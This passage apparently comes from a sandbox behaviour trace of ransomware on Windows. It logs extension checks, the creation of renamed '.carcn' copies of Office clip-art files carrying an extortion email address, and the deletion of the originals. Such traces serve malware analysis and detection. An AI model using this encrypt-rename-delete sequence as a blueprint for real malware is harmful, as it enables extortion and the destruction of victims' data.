(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0302.628] lstrlenW (lpString=".dbf") returned 4 [0302.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0302.628] lstrlenW (lpString=".1cd") returned 4 [0302.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0302.628] lstrlenW (lpString=".jpg") returned 4 [0302.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.628] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.628] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0302.629] GetLastError () returned 0x0 [0302.629] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xeb4, lpOverlapped=0x0) returned 1 [0302.630] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec0, lpOverlapped=0x0) returned 1 [0302.631] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.631] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.631] SetEndOfFile (hFile=0x358) returned 1 [0302.631] CloseHandle (hObject=0x358) returned 1 [0302.631] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.631] SetEndOfFile (hFile=0x380) returned 1 [0302.632] CloseHandle (hObject=0x380) returned 1 [0302.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0302.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0302.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0302.632] lstrlenW (lpString=".doc") returned 4 [0302.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.632] lstrlenW (lpString=".docx") returned 5 [0302.632] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.632] lstrlenW (lpString=".pdf") returned 4 [0302.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.633] lstrlenW (lpString=".xls") returned 4 [0302.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.633] lstrlenW (lpString=".xlsx") returned 5 [0302.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.633] lstrlenW (lpString=".ppt") returned 4 [0302.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0302.633] lstrlenW (lpString=".zip") returned 4 [0302.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.633] lstrlenW (lpString=".rar") returned 4 [0302.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.633] lstrlenW (lpString=".bz2") returned 4 [0302.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.633] lstrlenW (lpString=".7z") returned 3 [0302.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0302.633] lstrlenW (lpString=".dbf") returned 4 [0302.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0302.633] lstrlenW (lpString=".1cd") returned 4 [0302.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0302.633] lstrlenW (lpString=".jpg") returned 4 [0302.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.633] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.633] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0302.634] GetLastError () returned 0x0 [0302.634] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x9a8, lpOverlapped=0x0) returned 1 [0302.635] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x9b0, lpOverlapped=0x0) returned 1 [0302.636] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.636] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.636] SetEndOfFile (hFile=0x358) returned 1 [0302.636] CloseHandle (hObject=0x358) returned 1 [0302.636] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.636] SetEndOfFile (hFile=0x380) returned 1 [0302.637] CloseHandle (hObject=0x380) returned 1 [0302.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0302.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0302.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0302.638] lstrlenW (lpString=".doc") returned 4 [0302.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.638] lstrlenW (lpString=".docx") returned 5 [0302.638] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.638] lstrlenW (lpString=".pdf") returned 4 [0302.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.638] lstrlenW (lpString=".xls") returned 4 [0302.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.638] lstrlenW (lpString=".xlsx") returned 5 [0302.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.638] lstrlenW (lpString=".ppt") returned 4 [0302.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0302.639] lstrlenW (lpString=".zip") returned 4 [0302.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.639] lstrlenW (lpString=".rar") returned 4 [0302.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.639] lstrlenW (lpString=".bz2") returned 4 [0302.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.639] lstrlenW (lpString=".7z") returned 3 [0302.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0302.639] lstrlenW (lpString=".dbf") returned 4 [0302.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0302.639] lstrlenW (lpString=".1cd") returned 4 [0302.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0302.639] lstrlenW (lpString=".jpg") returned 4 [0302.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.639] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.639] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0302.640] GetLastError () returned 0x0 [0302.640] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x8b8, lpOverlapped=0x0) returned 1 [0302.641] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x8c0, lpOverlapped=0x0) returned 1 [0302.642] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.642] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.642] SetEndOfFile (hFile=0x358) returned 1 [0302.642] CloseHandle (hObject=0x358) returned 1 [0302.642] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.642] SetEndOfFile (hFile=0x380) returned 1 [0302.643] CloseHandle (hObject=0x380) returned 1 [0302.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0302.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0302.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0302.644] lstrlenW (lpString=".doc") returned 4 [0302.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.644] lstrlenW (lpString=".docx") returned 5 [0302.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.644] lstrlenW (lpString=".pdf") returned 4 [0302.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.644] lstrlenW (lpString=".xls") returned 4 [0302.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.644] lstrlenW (lpString=".xlsx") returned 5 [0302.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.644] lstrlenW (lpString=".ppt") returned 4 [0302.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0302.644] lstrlenW (lpString=".zip") returned 4 [0302.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.644] lstrlenW (lpString=".rar") returned 4 [0302.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.644] lstrlenW (lpString=".bz2") returned 4 [0302.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.644] lstrlenW (lpString=".7z") returned 3 [0302.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0302.644] lstrlenW (lpString=".dbf") returned 4 [0302.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0302.644] lstrlenW (lpString=".1cd") returned 4 [0302.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0302.645] lstrlenW (lpString=".jpg") returned 4 [0302.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.645] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.645] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0302.646] GetLastError () returned 0x0 [0302.646] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x402, lpOverlapped=0x0) returned 1 [0302.646] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x410, lpOverlapped=0x0) returned 1 [0302.647] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.647] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.647] SetEndOfFile (hFile=0x358) returned 1 [0302.647] CloseHandle (hObject=0x358) returned 1 [0302.647] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.647] SetEndOfFile (hFile=0x380) returned 1 [0302.648] CloseHandle (hObject=0x380) returned 1 [0302.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0302.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0302.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0302.649] lstrlenW (lpString=".doc") returned 4 [0302.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.649] lstrlenW (lpString=".docx") returned 5 [0302.649] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.649] lstrlenW (lpString=".pdf") returned 4 [0302.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.649] lstrlenW (lpString=".xls") returned 4 [0302.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.649] lstrlenW (lpString=".xlsx") returned 5 [0302.649] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.649] lstrlenW (lpString=".ppt") returned 4 [0302.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0302.649] lstrlenW (lpString=".zip") returned 4 [0302.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.649] lstrlenW (lpString=".rar") returned 4 [0302.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.649] lstrlenW (lpString=".bz2") returned 4 [0302.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.649] lstrlenW (lpString=".7z") returned 3 [0302.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0302.649] lstrlenW (lpString=".dbf") returned 4 [0302.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0302.649] lstrlenW (lpString=".1cd") returned 4 [0302.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0302.649] lstrlenW (lpString=".jpg") returned 4 [0302.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.650] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.650] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0302.650] GetLastError () returned 0x0 [0302.650] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xcd6, lpOverlapped=0x0) returned 1 [0302.651] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xce0, lpOverlapped=0x0) returned 1 [0302.652] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.652] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.652] SetEndOfFile (hFile=0x358) returned 1 [0302.652] CloseHandle (hObject=0x358) returned 1 [0302.652] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.652] SetEndOfFile (hFile=0x380) returned 1 [0302.653] CloseHandle (hObject=0x380) returned 1 [0302.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0302.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0302.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0302.653] lstrlenW (lpString=".doc") returned 4 [0302.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.653] lstrlenW (lpString=".docx") returned 5 [0302.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.653] lstrlenW (lpString=".pdf") returned 4 [0302.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.653] lstrlenW (lpString=".xls") returned 4 [0302.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.653] lstrlenW (lpString=".xlsx") returned 5 [0302.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.653] lstrlenW (lpString=".ppt") returned 4 [0302.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0302.654] lstrlenW (lpString=".zip") returned 4 [0302.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.654] lstrlenW (lpString=".rar") returned 4 [0302.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.654] lstrlenW (lpString=".bz2") returned 4 [0302.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.654] lstrlenW (lpString=".7z") returned 3 [0302.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0302.654] lstrlenW (lpString=".dbf") returned 4 [0302.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0302.654] lstrlenW (lpString=".1cd") returned 4 [0302.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0302.654] lstrlenW (lpString=".jpg") returned 4 [0302.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.654] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.654] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0302.655] GetLastError () returned 0x0 [0302.655] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x7a8, lpOverlapped=0x0) returned 1 [0302.655] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x7b0, 